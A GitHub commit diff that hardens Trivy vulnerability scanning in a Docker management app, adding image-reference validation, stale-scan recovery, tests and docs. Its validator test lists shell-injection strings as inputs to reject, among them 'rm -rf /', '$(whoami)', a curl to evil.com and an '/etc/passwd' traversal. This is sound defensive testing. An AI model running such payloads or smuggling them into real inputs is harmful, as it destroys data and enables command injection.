fix(security): harden Trivy scan lifecycle, logging, and docs (#639)

* fix(security): harden Trivy scan lifecycle, logging, and docs

- Call TrivyService.initialize() at startup so capability state is
  accurate before first request; add periodic re-detect to the scheduler
  so newly installed Trivy binaries light up without a restart.
- Add markStaleScansAsFailed sweep (+ idx_vuln_scans_status index) to
  recover any scan row left in_progress after a crash or timeout; sweep
  runs before the paid-tier gate so every tier self-heals.
- Split scanImage persistence into beginScan/finishScan so the manual
  scan route owns a single code path and can return a scanId synchronously
  while work continues asynchronously.
- Validate image refs on /api/security/scan and /sbom via new utility;
  defense-in-depth against shell-metacharacter payloads.
- Dispatch a warning-level alert when a post-deploy scan fails so the
  operator has a user-visible path to the failure instead of a silent log.
- Share DIGEST_CACHE_TTL_MS and severity ordering across service and
  route layers; remove dead invalidateDetection().
- Add [Trivy:diag] logging gated behind developer_mode for support
  diagnostics; production logs unchanged.
- Frontend: defensive toast fallback chain, sr-only SheetDescription,
  and a truncation badge when the 500-item detail fetch is capped.
- Tests: extend trivy-service and vulnerability-db suites; add
  image-ref and severity unit tests.
- Docs: expand vulnerability-scanning troubleshooting with recovery,
  re-detect, and diagnostic-log guidance; link Dockerfile comment to
  trivy-setup.

* fix(security): drop unnecessary escape in image-ref forbidden-char regex
This commit is contained in:
Anso
2026-04-16 20:32:38 -04:00
committed by GitHub
parent f8eb1b4e88
commit dc8370f5a4
16 changed files with 563 additions and 140 deletions
+5
View File
@@ -91,6 +91,11 @@ RUN if [ "$TARGETARCH" = "$BUILDARCH" ]; then \
# Stage 4: Production runtime
# Runs on the TARGET platform - no compilation happens here.
#
# Vulnerability scanning uses the external `trivy` CLI. It is not installed
# in this image; operators who want the feature install Trivy on the host
# and mount the binary into the container, or run a sidecar. See
# docs/operations/trivy-setup.mdx for the supported integration paths.
FROM node:22-alpine
# Pin Docker CLI and Compose versions.
+66
View File
@@ -0,0 +1,66 @@
import { describe, it, expect } from 'vitest';
import { validateImageRef } from '../utils/image-ref';
describe('validateImageRef', () => {
it('accepts canonical image references', () => {
const valid = [
'alpine',
'alpine:3.19',
'nginx:latest',
'library/postgres:16',
'ghcr.io/owner/project:v1.2.3',
'registry.example.com:5000/team/image:tag',
'docker.io/library/redis@sha256:abcdef1234567890',
'node:20-alpine',
'my-image_v2.final',
];
for (const ref of valid) {
expect(validateImageRef(ref), `expected ${ref} to be valid`).toBe(true);
}
});
it('rejects shell-injection payloads', () => {
const invalid = [
'; rm -rf /',
'$(whoami)',
'`id`',
'alpine && curl evil.com',
'image | tee file',
'image; ls',
'image$VAR',
'image`cmd`',
'image\nother',
'image"name"',
"image'name'",
];
for (const ref of invalid) {
expect(validateImageRef(ref), `expected ${ref} to be invalid`).toBe(false);
}
});
it('rejects empty and whitespace-only strings', () => {
expect(validateImageRef('')).toBe(false);
expect(validateImageRef(' ')).toBe(false);
expect(validateImageRef('\t\n')).toBe(false);
});
it('rejects non-string inputs', () => {
expect(validateImageRef(null)).toBe(false);
expect(validateImageRef(undefined)).toBe(false);
expect(validateImageRef(42)).toBe(false);
expect(validateImageRef({})).toBe(false);
expect(validateImageRef([])).toBe(false);
});
it('rejects path traversal attempts', () => {
expect(validateImageRef('../../etc/passwd')).toBe(false);
expect(validateImageRef('image..name')).toBe(false);
});
it('rejects references exceeding 255 characters', () => {
const longRef = 'a'.repeat(256);
expect(validateImageRef(longRef)).toBe(false);
const atLimit = 'a'.repeat(255);
expect(validateImageRef(atLimit)).toBe(true);
});
});
+39
View File
@@ -0,0 +1,39 @@
import { describe, it, expect } from 'vitest';
import { severityRank, isSeverityAtLeast, SEVERITY_ORDER } from '../utils/severity';
describe('severityRank', () => {
it('orders severities CRITICAL > HIGH > MEDIUM > LOW > UNKNOWN', () => {
expect(severityRank('CRITICAL')).toBeGreaterThan(severityRank('HIGH'));
expect(severityRank('HIGH')).toBeGreaterThan(severityRank('MEDIUM'));
expect(severityRank('MEDIUM')).toBeGreaterThan(severityRank('LOW'));
expect(severityRank('LOW')).toBeGreaterThan(severityRank('UNKNOWN'));
});
it('returns -1 for null/undefined so missing severities sort below UNKNOWN', () => {
expect(severityRank(null)).toBe(-1);
expect(severityRank(undefined)).toBe(-1);
expect(severityRank(null)).toBeLessThan(severityRank('UNKNOWN'));
});
it('exports a SEVERITY_ORDER array that covers every known severity', () => {
expect(SEVERITY_ORDER).toEqual(['UNKNOWN', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL']);
});
});
describe('isSeverityAtLeast', () => {
it('returns true when actual meets or exceeds the threshold', () => {
expect(isSeverityAtLeast('CRITICAL', 'HIGH')).toBe(true);
expect(isSeverityAtLeast('HIGH', 'HIGH')).toBe(true);
expect(isSeverityAtLeast('MEDIUM', 'LOW')).toBe(true);
});
it('returns false when actual is below the threshold', () => {
expect(isSeverityAtLeast('LOW', 'HIGH')).toBe(false);
expect(isSeverityAtLeast('MEDIUM', 'CRITICAL')).toBe(false);
});
it('returns false for missing severities regardless of threshold', () => {
expect(isSeverityAtLeast(null, 'LOW')).toBe(false);
expect(isSeverityAtLeast(undefined, 'UNKNOWN')).toBe(false);
});
});
+102 -1
View File
@@ -6,7 +6,7 @@
* when the binary is not available.
*/
import { describe, it, expect, beforeEach } from 'vitest';
import TrivyService from '../services/TrivyService';
import TrivyService, { parseTrivyOutput } from '../services/TrivyService';
describe('TrivyService', () => {
let svc: TrivyService;
@@ -31,6 +31,12 @@ describe('TrivyService', () => {
expect(result).toHaveProperty('version');
expect(typeof result.available).toBe('boolean');
});
it('records a detection timestamp after running', async () => {
const before = Date.now();
await svc.detectTrivy();
expect(svc.getDetectionTimestamp()).toBeGreaterThanOrEqual(before);
});
});
describe('scanImage', () => {
@@ -51,4 +57,99 @@ describe('TrivyService', () => {
expect(svc.isScanning(1, 'nginx:latest')).toBe(false);
});
});
describe('parseTrivyOutput', () => {
it('extracts OS metadata and deduplicates vulnerabilities across targets', () => {
const raw = JSON.stringify({
Metadata: { OS: { Family: 'alpine', Name: '3.19.0' } },
Results: [
{
Target: 'alpine:3.19 (alpine)',
Vulnerabilities: [
{
VulnerabilityID: 'CVE-2024-0001',
PkgName: 'openssl',
InstalledVersion: '3.0.0',
FixedVersion: '3.0.1',
Severity: 'HIGH',
},
{
VulnerabilityID: 'CVE-2024-0002',
PkgName: 'curl',
InstalledVersion: '8.0',
Severity: 'CRITICAL',
},
],
},
{
Target: 'other-target',
Vulnerabilities: [
{
VulnerabilityID: 'CVE-2024-0001',
PkgName: 'openssl',
InstalledVersion: '3.0.0',
Severity: 'HIGH',
},
],
},
],
});
const parsed = parseTrivyOutput(raw);
expect(parsed.os).toBe('alpine 3.19.0');
expect(parsed.vulnerabilities.length).toBe(2);
const ids = parsed.vulnerabilities.map((v) => v.vulnerabilityId);
expect(ids).toContain('CVE-2024-0001');
expect(ids).toContain('CVE-2024-0002');
});
it('normalizes unknown severities to UNKNOWN', () => {
const raw = JSON.stringify({
Results: [
{
Vulnerabilities: [
{
VulnerabilityID: 'CVE-X',
PkgName: 'libx',
InstalledVersion: '1',
Severity: 'NEGLIGIBLE',
},
],
},
],
});
const parsed = parseTrivyOutput(raw);
expect(parsed.vulnerabilities[0].severity).toBe('UNKNOWN');
});
it('drops entries missing VulnerabilityID or PkgName', () => {
const raw = JSON.stringify({
Results: [
{
Vulnerabilities: [
{ PkgName: 'x', Severity: 'HIGH' },
{ VulnerabilityID: 'CVE-1', Severity: 'HIGH' },
{ VulnerabilityID: 'CVE-2', PkgName: 'y', Severity: 'LOW' },
],
},
],
});
const parsed = parseTrivyOutput(raw);
expect(parsed.vulnerabilities.length).toBe(1);
expect(parsed.vulnerabilities[0].vulnerabilityId).toBe('CVE-2');
});
it('tolerates missing Metadata and empty Results', () => {
const parsed = parseTrivyOutput(JSON.stringify({ Results: [] }));
expect(parsed.os).toBeNull();
expect(parsed.vulnerabilities).toEqual([]);
const parsedEmpty = parseTrivyOutput(JSON.stringify({}));
expect(parsedEmpty.os).toBeNull();
expect(parsedEmpty.vulnerabilities).toEqual([]);
});
it('throws a helpful error on malformed JSON', () => {
expect(() => parseTrivyOutput('{not-json')).toThrow(/Malformed/i);
});
});
});
@@ -296,6 +296,68 @@ describe('Vulnerability scan storage (in-memory SQLite)', () => {
});
});
// ── markStaleScansAsFailed ───────────────────────────────────────
describe('markStaleScansAsFailed', () => {
function markStale(olderThanMs: number): number {
const cutoff = Date.now() - olderThanMs;
const result = db
.prepare(
`UPDATE vulnerability_scans
SET status = 'failed',
error = 'Scan did not complete within expected time',
scan_duration_ms = ? - scanned_at
WHERE status = 'in_progress' AND scanned_at < ?`,
)
.run(Date.now(), cutoff);
return result.changes;
}
it('flips in_progress scans older than the cutoff to failed', () => {
const now = Date.now();
const stale = insertScan({ status: 'in_progress', scanned_at: now - 30 * 60 * 1000 });
const fresh = insertScan({ status: 'in_progress', scanned_at: now - 1_000 });
const changed = markStale(15 * 60 * 1000);
expect(changed).toBe(1);
const staleRow = db.prepare('SELECT status, error FROM vulnerability_scans WHERE id = ?').get(stale) as {
status: string;
error: string;
};
const freshRow = db.prepare('SELECT status FROM vulnerability_scans WHERE id = ?').get(fresh) as {
status: string;
};
expect(staleRow.status).toBe('failed');
expect(staleRow.error).toMatch(/did not complete/i);
expect(freshRow.status).toBe('in_progress');
});
it('leaves completed and failed rows untouched', () => {
const now = Date.now();
const completed = insertScan({ status: 'completed', scanned_at: now - 30 * 60 * 1000 });
const failed = insertScan({ status: 'failed', scanned_at: now - 30 * 60 * 1000 });
const changed = markStale(15 * 60 * 1000);
expect(changed).toBe(0);
const rows = db
.prepare('SELECT id, status FROM vulnerability_scans WHERE id IN (?, ?)')
.all(completed, failed) as Array<{ id: number; status: string }>;
expect(rows.find((r) => r.id === completed)?.status).toBe('completed');
expect(rows.find((r) => r.id === failed)?.status).toBe('failed');
});
it('is idempotent when called repeatedly', () => {
const now = Date.now();
insertScan({ status: 'in_progress', scanned_at: now - 30 * 60 * 1000 });
expect(markStale(15 * 60 * 1000)).toBe(1);
expect(markStale(15 * 60 * 1000)).toBe(0);
expect(markStale(15 * 60 * 1000)).toBe(0);
});
});
// ── vulnerability_details cascade ────────────────────────────────
describe('vulnerability_details cascade', () => {
+30 -79
View File
@@ -69,7 +69,9 @@ import { getErrorMessage } from './utils/errors';
import { captureLocalNodeFiles, captureRemoteNodeFiles, SnapshotNodeData } from './utils/snapshot-capture';
import { GlobalLogEntry, normalizeContainerName, parseLogTimestamp, detectLogLevel, demuxDockerLog } from './utils/log-parsing';
import SelfUpdateService from './services/SelfUpdateService';
import TrivyService, { SbomFormat } from './services/TrivyService';
import TrivyService, { SbomFormat, DIGEST_CACHE_TTL_MS } from './services/TrivyService';
import { severityRank } from './utils/severity';
import { validateImageRef } from './utils/image-ref';
import semver from 'semver';
import { CronExpressionParser } from 'cron-parser';
import { isValidStackName, isValidRemoteUrl, isPathWithinBase, isValidCidr, isValidIPv4, isValidDockerResourceId } from './utils/validation';
@@ -1605,22 +1607,13 @@ async function triggerPostDeployScan(
const db = DatabaseService.getInstance();
const policy = db.getMatchingPolicy(nodeId, stackName);
const severityRank = (s: string | null | undefined): number => {
switch ((s ?? '').toUpperCase()) {
case 'CRITICAL': return 4;
case 'HIGH': return 3;
case 'MEDIUM': return 2;
case 'LOW': return 1;
default: return 0;
}
};
for (const imageRef of imageRefs) {
try {
const digest = await svc.getImageDigest(imageRef, nodeId);
if (digest) {
const cached = db.getLatestScanByDigest(digest);
if (cached && Date.now() - cached.scanned_at < 24 * 60 * 60 * 1000) continue;
if (cached && Date.now() - cached.scanned_at < DIGEST_CACHE_TTL_MS) continue;
}
const scan = await svc.runScanAndPersist(imageRef, nodeId, 'deploy', stackName);
@@ -1643,7 +1636,13 @@ async function triggerPostDeployScan(
);
}
} catch (err) {
console.error(`[Security] Post-deploy scan failed for ${imageRef}:`, (err as Error).message);
const message = (err as Error).message;
console.error(`[Security] Post-deploy scan failed for ${imageRef}:`, message);
NotificationService.getInstance().dispatchAlert(
'warning',
`Post-deploy scan failed for ${imageRef} (${stackName}): ${message}`,
stackName,
);
}
}
} catch (err) {
@@ -7261,11 +7260,16 @@ app.post('/api/security/scan', authMiddleware, (req: Request, res: Response): vo
res.status(503).json({ error: 'Trivy is not available on this host' });
return;
}
const imageRef = typeof req.body?.imageRef === 'string' ? req.body.imageRef.trim() : '';
if (!imageRef) {
const rawImageRef = typeof req.body?.imageRef === 'string' ? req.body.imageRef.trim() : '';
if (!rawImageRef) {
res.status(400).json({ error: 'imageRef is required' });
return;
}
if (!validateImageRef(rawImageRef)) {
res.status(400).json({ error: 'Invalid imageRef format' });
return;
}
const imageRef = rawImageRef;
const stackContext = typeof req.body?.stackName === 'string' ? req.body.stackName : null;
const force = req.body?.force === true;
const nodeId = req.nodeId;
@@ -7273,73 +7277,12 @@ app.post('/api/security/scan', authMiddleware, (req: Request, res: Response): vo
res.status(409).json({ error: 'Already scanning this image' });
return;
}
const db = DatabaseService.getInstance();
const scanId = db.createVulnerabilityScan({
node_id: nodeId,
image_ref: imageRef,
image_digest: null,
scanned_at: Date.now(),
total_vulnerabilities: 0,
critical_count: 0,
high_count: 0,
medium_count: 0,
low_count: 0,
unknown_count: 0,
fixable_count: 0,
highest_severity: null,
os_info: null,
trivy_version: svc.getVersion(),
scan_duration_ms: null,
triggered_by: 'manual',
status: 'in_progress',
error: null,
stack_context: stackContext,
});
const scanId = svc.beginScan(imageRef, nodeId, 'manual', stackContext);
res.status(202).json({ scanId });
const startedAt = Date.now();
(async () => {
try {
const result = await svc.scanImage(imageRef, nodeId, { useCache: !force });
db.updateVulnerabilityScan(scanId, {
image_digest: result.imageDigest,
scanned_at: result.scannedAt,
total_vulnerabilities: result.totalVulnerabilities,
critical_count: result.criticalCount,
high_count: result.highCount,
medium_count: result.mediumCount,
low_count: result.lowCount,
unknown_count: result.unknownCount,
fixable_count: result.fixableCount,
highest_severity: result.highestSeverity,
os_info: result.metadata.os,
trivy_version: result.metadata.trivyVersion,
scan_duration_ms: result.metadata.scanDurationMs,
status: 'completed',
});
db.insertVulnerabilityDetails(
scanId,
result.vulnerabilities.map((v) => ({
vulnerability_id: v.vulnerabilityId,
pkg_name: v.pkgName,
installed_version: v.installedVersion,
fixed_version: v.fixedVersion,
severity: v.severity,
title: v.title || null,
description: v.description || null,
primary_url: v.primaryUrl,
})),
);
} catch (err) {
const msg = (err as Error).message || 'Scan failed';
console.error(`[Security] Scan failed for ${imageRef}:`, msg);
db.updateVulnerabilityScan(scanId, {
status: 'failed',
error: msg,
scan_duration_ms: Date.now() - startedAt,
});
}
})();
svc.finishScan(scanId, imageRef, nodeId, { useCache: !force }).catch((err) => {
console.error(`[Security] Scan failed for ${imageRef}:`, (err as Error).message);
});
});
app.get('/api/security/scans', authMiddleware, (req: Request, res: Response) => {
@@ -7420,6 +7363,9 @@ app.post('/api/security/sbom', authMiddleware, async (req: Request, res: Respons
if (!imageRef) {
res.status(400).json({ error: 'imageRef is required' }); return;
}
if (!validateImageRef(imageRef)) {
res.status(400).json({ error: 'Invalid imageRef format' }); return;
}
if (formatRaw !== 'spdx-json' && formatRaw !== 'cyclonedx') {
res.status(400).json({ error: 'format must be spdx-json or cyclonedx' }); return;
}
@@ -7839,6 +7785,11 @@ async function startServer() {
// Start Docker Event Stream (causal crash/OOM/health detection per local node)
await DockerEventManager.getInstance().start();
// Detect Trivy binary so the vulnerability-scanning capability reflects
// reality before any request hits and so the first scan does not pay
// detection latency.
await TrivyService.getInstance().initialize();
// Start Background Image Update Checker
ImageUpdateService.getInstance().start();
@@ -86,6 +86,10 @@ export function disableCapability(c: Capability): void {
disabledCapabilities.add(c);
}
export function enableCapability(c: Capability): void {
disabledCapabilities.delete(c);
}
/** Returns capabilities this instance actually supports at runtime. */
export function getActiveCapabilities(): readonly string[] {
if (disabledCapabilities.size === 0) return CAPABILITIES;
+15
View File
@@ -582,6 +582,7 @@ export class DatabaseService {
CREATE INDEX IF NOT EXISTS idx_vuln_scans_node_image ON vulnerability_scans(node_id, image_ref);
CREATE INDEX IF NOT EXISTS idx_vuln_scans_digest ON vulnerability_scans(image_digest);
CREATE INDEX IF NOT EXISTS idx_vuln_scans_scanned_at ON vulnerability_scans(scanned_at);
CREATE INDEX IF NOT EXISTS idx_vuln_scans_status ON vulnerability_scans(status);
CREATE TABLE IF NOT EXISTS vulnerability_details (
id INTEGER PRIMARY KEY AUTOINCREMENT,
@@ -2153,6 +2154,20 @@ export class DatabaseService {
return result.changes;
}
public markStaleScansAsFailed(olderThanMs: number): number {
const cutoff = Date.now() - olderThanMs;
const result = this.db
.prepare(
`UPDATE vulnerability_scans
SET status = 'failed',
error = 'Scan did not complete within expected time',
scan_duration_ms = ? - scanned_at
WHERE status = 'in_progress' AND scanned_at < ?`,
)
.run(Date.now(), cutoff);
return result.changes;
}
public isImageBeingScanned(nodeId: number, imageRef: string): boolean {
const row = this.db
.prepare(
+33 -1
View File
@@ -14,11 +14,15 @@ import { NodeRegistry } from './NodeRegistry';
import { NotificationService } from './NotificationService';
import TrivyService from './TrivyService';
const TRIVY_REDETECT_INTERVAL_MS = 10 * 60 * 1000;
const STALE_SCAN_THRESHOLD_MS = 15 * 60 * 1000;
export class SchedulerService {
private static instance: SchedulerService;
private intervalId: ReturnType<typeof setInterval> | null = null;
private isProcessing = false;
private runningTasks = new Set<number>();
private lastTrivyRedetect = 0;
private constructor() {}
@@ -56,6 +60,19 @@ export class SchedulerService {
}
}
private async maybeRedetectTrivy(): Promise<void> {
const now = Date.now();
if (now - this.lastTrivyRedetect < TRIVY_REDETECT_INTERVAL_MS) return;
this.lastTrivyRedetect = now;
try {
await TrivyService.getInstance().detectTrivy();
} catch (error) {
if (isDebugEnabled()) {
console.warn('[SchedulerService:debug] Trivy re-detect failed:', error);
}
}
}
public calculateNextRun(cronExpression: string): number {
const expr = CronExpressionParser.parse(cronExpression);
return expr.next().toDate().getTime();
@@ -68,12 +85,27 @@ export class SchedulerService {
}
this.isProcessing = true;
try {
const db = DatabaseService.getInstance();
// Vulnerability scanning is available on every tier, so the stale-scan sweep
// and Trivy re-detect run before the paid-tier gate below.
try {
const staleScans = db.markStaleScansAsFailed(STALE_SCAN_THRESHOLD_MS);
if (staleScans > 0) {
console.log(
`[SchedulerService] Marked ${staleScans} stale vulnerability scan(s) as failed`,
);
}
} catch (error) {
console.error('[SchedulerService] Stale scan sweep failed:', error);
}
await this.maybeRedetectTrivy();
const ls = LicenseService.getInstance();
const isPaid = ls.getTier() === 'paid';
const isAdmiral = isPaid && ls.getVariant() === 'admiral';
if (!isPaid) return;
const db = DatabaseService.getInstance();
const now = Date.now();
const dueTasks = db.getDueScheduledTasks(now);
+124 -55
View File
@@ -11,14 +11,19 @@ import {
VulnerabilityScan,
} from './DatabaseService';
import { RegistryService } from './RegistryService';
import { disableCapability } from './CapabilityRegistry';
import { disableCapability, enableCapability } from './CapabilityRegistry';
import { isDebugEnabled } from '../utils/debug';
import { SEVERITY_ORDER } from '../utils/severity';
const execFileAsync = promisify(execFile);
const SEVERITY_ORDER: VulnSeverity[] = ['UNKNOWN', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'];
const SCAN_TIMEOUT_MS = 5 * 60 * 1000;
const SBOM_TIMEOUT_MS = 3 * 60 * 1000;
const DIGEST_CACHE_TTL_MS = 24 * 60 * 60 * 1000;
export const DIGEST_CACHE_TTL_MS = 24 * 60 * 60 * 1000;
function diag(msg: string, ...args: unknown[]): void {
if (isDebugEnabled()) console.log(`[Trivy:diag] ${msg}`, ...args);
}
interface TrivyRawVulnerability {
VulnerabilityID?: string;
@@ -94,6 +99,49 @@ function computeHighestSeverity(vulns: TrivyVulnerability[]): VulnSeverity | nul
return highestIdx >= 0 ? SEVERITY_ORDER[highestIdx] : null;
}
export function parseTrivyOutput(raw: string): {
vulnerabilities: TrivyVulnerability[];
os: string | null;
} {
let parsed: TrivyRawOutput;
try {
parsed = JSON.parse(raw) as TrivyRawOutput;
} catch (e) {
console.error('[Trivy] Failed to parse output; first 200 chars:', raw.slice(0, 200));
throw new Error('Malformed Trivy output: ' + (e as Error).message);
}
const seen = new Set<string>();
const vulnerabilities: TrivyVulnerability[] = [];
for (const result of parsed.Results ?? []) {
for (const v of result.Vulnerabilities ?? []) {
const id = v.VulnerabilityID ?? '';
const pkg = v.PkgName ?? '';
if (!id || !pkg) continue;
const key = `${id}::${pkg}`;
if (seen.has(key)) continue;
seen.add(key);
vulnerabilities.push({
vulnerabilityId: id,
pkgName: pkg,
installedVersion: v.InstalledVersion ?? '',
fixedVersion: v.FixedVersion ? v.FixedVersion : null,
severity: normalizeSeverity(v.Severity),
title: v.Title ?? '',
description: v.Description ?? '',
primaryUrl: v.PrimaryURL ? v.PrimaryURL : null,
});
}
}
const osFamily = parsed.Metadata?.OS?.Family;
const osName = parsed.Metadata?.OS?.Name;
const osInfo = osFamily
? osName
? `${osFamily} ${osName}`
: osFamily
: null;
return { vulnerabilities, os: osInfo };
}
class TrivyService {
private static instance: TrivyService;
private available = false;
@@ -119,6 +167,8 @@ class TrivyService {
}
async detectTrivy(): Promise<{ available: boolean; version: string | null }> {
const started = Date.now();
const wasAvailable = this.available;
try {
const { stdout } = await execFileAsync('trivy', ['--version'], { timeout: 5000 });
const match = stdout.match(/Version:\s*([^\s\n]+)/i);
@@ -129,9 +179,27 @@ class TrivyService {
this.version = null;
}
this.detectionTimestamp = Date.now();
diag(
`detectTrivy: available=${this.available} version=${this.version ?? 'null'} tookMs=${
this.detectionTimestamp - started
}`,
);
if (this.available && !wasAvailable) {
enableCapability('vulnerability-scanning');
console.log(
`[Trivy] Binary detected on PATH; vulnerability scanning enabled (version ${this.version})`,
);
} else if (!this.available && wasAvailable) {
disableCapability('vulnerability-scanning');
console.warn('[Trivy] Binary no longer detected; vulnerability scanning disabled');
}
return { available: this.available, version: this.version };
}
getDetectionTimestamp(): number {
return this.detectionTimestamp;
}
isTrivyAvailable(): boolean {
return this.available;
}
@@ -140,10 +208,6 @@ class TrivyService {
return this.version;
}
invalidateDetection(): void {
this.detectionTimestamp = 0;
}
private async buildEnv(
sendWarning?: (msg: string) => void,
): Promise<{ env: Record<string, string | undefined>; cleanup: () => void }> {
@@ -204,49 +268,6 @@ class TrivyService {
return this.scanningImages.has(this.scanKey(nodeId, imageRef));
}
private parseTrivyOutput(raw: string): {
vulnerabilities: TrivyVulnerability[];
os: string | null;
} {
let parsed: TrivyRawOutput;
try {
parsed = JSON.parse(raw) as TrivyRawOutput;
} catch (e) {
console.error('[Trivy] Failed to parse output; first 200 chars:', raw.slice(0, 200));
throw new Error('Malformed Trivy output: ' + (e as Error).message);
}
const seen = new Set<string>();
const vulnerabilities: TrivyVulnerability[] = [];
for (const result of parsed.Results ?? []) {
for (const v of result.Vulnerabilities ?? []) {
const id = v.VulnerabilityID ?? '';
const pkg = v.PkgName ?? '';
if (!id || !pkg) continue;
const key = `${id}::${pkg}`;
if (seen.has(key)) continue;
seen.add(key);
vulnerabilities.push({
vulnerabilityId: id,
pkgName: pkg,
installedVersion: v.InstalledVersion ?? '',
fixedVersion: v.FixedVersion ? v.FixedVersion : null,
severity: normalizeSeverity(v.Severity),
title: v.Title ?? '',
description: v.Description ?? '',
primaryUrl: v.PrimaryURL ? v.PrimaryURL : null,
});
}
}
const osFamily = parsed.Metadata?.OS?.Family;
const osName = parsed.Metadata?.OS?.Name;
const osInfo = osFamily
? osName
? `${osFamily} ${osName}`
: osFamily
: null;
return { vulnerabilities, os: osInfo };
}
async scanImage(
imageRef: string,
nodeId: number,
@@ -261,13 +282,18 @@ class TrivyService {
}
this.scanningImages.add(key);
const startedAt = Date.now();
diag(`scanImage: start nodeId=${nodeId} imageRef=${imageRef} useCache=${options.useCache !== false}`);
try {
const digest = options.digest ?? (await this.getImageDigest(imageRef, nodeId));
diag(`scanImage: digest=${digest ?? 'null'} for ${imageRef}`);
if (options.useCache !== false && digest) {
const cached = DatabaseService.getInstance().getLatestScanByDigest(digest);
if (cached && startedAt - cached.scanned_at < DIGEST_CACHE_TTL_MS) {
diag(
`scanImage: cache hit for digest=${digest} scanId=${cached.id} ageMs=${startedAt - cached.scanned_at}`,
);
const details =
DatabaseService.getInstance().getVulnerabilityDetails(cached.id, {
limit: 1000,
@@ -303,6 +329,7 @@ class TrivyService {
}
}
diag(`scanImage: cache miss; invoking trivy for ${imageRef}`);
const { env, cleanup } = await this.buildEnv();
try {
const args = [
@@ -315,12 +342,19 @@ class TrivyService {
'vuln',
imageRef,
];
const execStart = Date.now();
const { stdout } = await execFileAsync('trivy', args, {
env,
timeout: SCAN_TIMEOUT_MS,
maxBuffer: 64 * 1024 * 1024,
});
const { vulnerabilities, os: osInfo } = this.parseTrivyOutput(stdout);
diag(
`scanImage: trivy exited after ${Date.now() - execStart}ms, output=${stdout.length} bytes`,
);
const { vulnerabilities, os: osInfo } = parseTrivyOutput(stdout);
diag(
`scanImage: parsed ${vulnerabilities.length} unique vulns (os=${osInfo ?? 'unknown'})`,
);
let critical = 0,
high = 0,
@@ -375,14 +409,18 @@ class TrivyService {
}
}
async runScanAndPersist(
/**
* Create an `in_progress` scan row. The returned ID is immediately
* usable by clients that need a handle to poll; callers must pair
* this with `finishScan` to move the row to `completed` or `failed`.
*/
beginScan(
imageRef: string,
nodeId: number,
triggeredBy: VulnScanTrigger,
stackContext: string | null = null,
): Promise<VulnerabilityScan> {
): number {
const db = DatabaseService.getInstance();
const startedAt = Date.now();
const scanId = db.createVulnerabilityScan({
node_id: nodeId,
image_ref: imageRef,
@@ -404,9 +442,25 @@ class TrivyService {
error: null,
stack_context: stackContext,
});
diag(`beginScan: scanId=${scanId} imageRef=${imageRef} nodeId=${nodeId} trigger=${triggeredBy}`);
return scanId;
}
/**
* Execute the scan and persist results into a scan row already
* created by `beginScan`. Always flips the row to `completed` on
* success or `failed` on error.
*/
async finishScan(
scanId: number,
imageRef: string,
nodeId: number,
opts: { useCache?: boolean } = {},
): Promise<VulnerabilityScan> {
const db = DatabaseService.getInstance();
const startedAt = Date.now();
try {
const result = await this.scanImage(imageRef, nodeId);
const result = await this.scanImage(imageRef, nodeId, { useCache: opts.useCache });
db.updateVulnerabilityScan(scanId, {
image_digest: result.imageDigest,
scanned_at: result.scannedAt,
@@ -438,6 +492,9 @@ class TrivyService {
);
const stored = db.getVulnerabilityScan(scanId);
if (!stored) throw new Error('Scan vanished after write');
diag(
`finishScan: scanId=${scanId} completed total=${result.totalVulnerabilities} highest=${result.highestSeverity ?? 'none'} durationMs=${result.metadata.scanDurationMs}`,
);
return stored;
} catch (error) {
const msg = (error as Error).message || 'Scan failed';
@@ -446,10 +503,22 @@ class TrivyService {
error: msg,
scan_duration_ms: Date.now() - startedAt,
});
diag(`finishScan: scanId=${scanId} failed: ${msg}`);
throw error;
}
}
async runScanAndPersist(
imageRef: string,
nodeId: number,
triggeredBy: VulnScanTrigger,
stackContext: string | null = null,
opts: { useCache?: boolean } = {},
): Promise<VulnerabilityScan> {
const scanId = this.beginScan(imageRef, nodeId, triggeredBy, stackContext);
return this.finishScan(scanId, imageRef, nodeId, opts);
}
async scanAllNodeImages(
nodeId: number,
triggeredBy: VulnScanTrigger = 'scheduled',
+22
View File
@@ -0,0 +1,22 @@
const MAX_LENGTH = 255;
const IMAGE_REF_PATTERN = /^[a-zA-Z0-9]([a-zA-Z0-9._\-/:@+]*[a-zA-Z0-9])?$/;
const FORBIDDEN_CHARS = /[\s;|&`$(){}[\]<>'"\\!*?#~]/;
export function validateImageRef(ref: unknown): ref is string {
if (typeof ref !== 'string') return false;
const trimmed = ref.trim();
if (trimmed.length === 0 || trimmed.length > MAX_LENGTH) return false;
if (FORBIDDEN_CHARS.test(trimmed)) return false;
if (trimmed.includes('..')) return false;
if (!IMAGE_REF_PATTERN.test(trimmed)) return false;
return true;
}
export function assertImageRef(ref: unknown): string {
if (!validateImageRef(ref)) {
throw new Error('Invalid image reference');
}
return ref;
}
+21
View File
@@ -0,0 +1,21 @@
import type { VulnSeverity } from '../services/DatabaseService';
export const SEVERITY_ORDER: VulnSeverity[] = [
'UNKNOWN',
'LOW',
'MEDIUM',
'HIGH',
'CRITICAL',
];
export function severityRank(severity: VulnSeverity | null | undefined): number {
if (!severity) return -1;
return SEVERITY_ORDER.indexOf(severity);
}
export function isSeverityAtLeast(
actual: VulnSeverity | null | undefined,
threshold: VulnSeverity,
): boolean {
return severityRank(actual) >= severityRank(threshold);
}
+16
View File
@@ -186,3 +186,19 @@ Sencho forwards the same registry credentials configured under **Settings → Re
### Badge is out of date after an image update
Post-deploy scanning only runs on deploy actions. For long-running images that aren't redeployed, schedule a recurring scan (Skipper+) or click the shield icon in the Resources Hub to re-scan on demand.
### A scan shows "in progress" for a long time
Scans have a 5-minute internal timeout. The scheduler also sweeps every tick and marks any scan that has been `in progress` for more than 15 minutes as failed, so the UI always recovers on its own. Wait for the sweep to run, then click the shield icon again to start a fresh scan.
### Trivy is not detected after installing it
Sencho re-checks for the Trivy binary every ten minutes from the scheduler. Install Trivy on the host, wait for the next window, and the scanning UI lights up automatically.
### Collecting diagnostic logs for support
Enable **Developer Mode** under **Settings → Developer** and trigger the failing scan again. The backend logs verbose `[Trivy:diag]` entries covering detection timing, cache hits, Trivy invocation, and parse statistics. Attach these lines when filing a support issue. Turn Developer Mode off once you have captured the output.
### Post-deploy scan failure notifications
When a post-deploy scan fails for a specific image (for example because Trivy could not resolve a private registry pull), Sencho dispatches a warning-level alert through your configured notification channels. The deploy itself is never blocked by a scan failure.
+4
View File
@@ -150,6 +150,10 @@ After restarting Sencho with the mount in place:
If the shield icon is missing, see the troubleshooting section below.
### Runtime detection
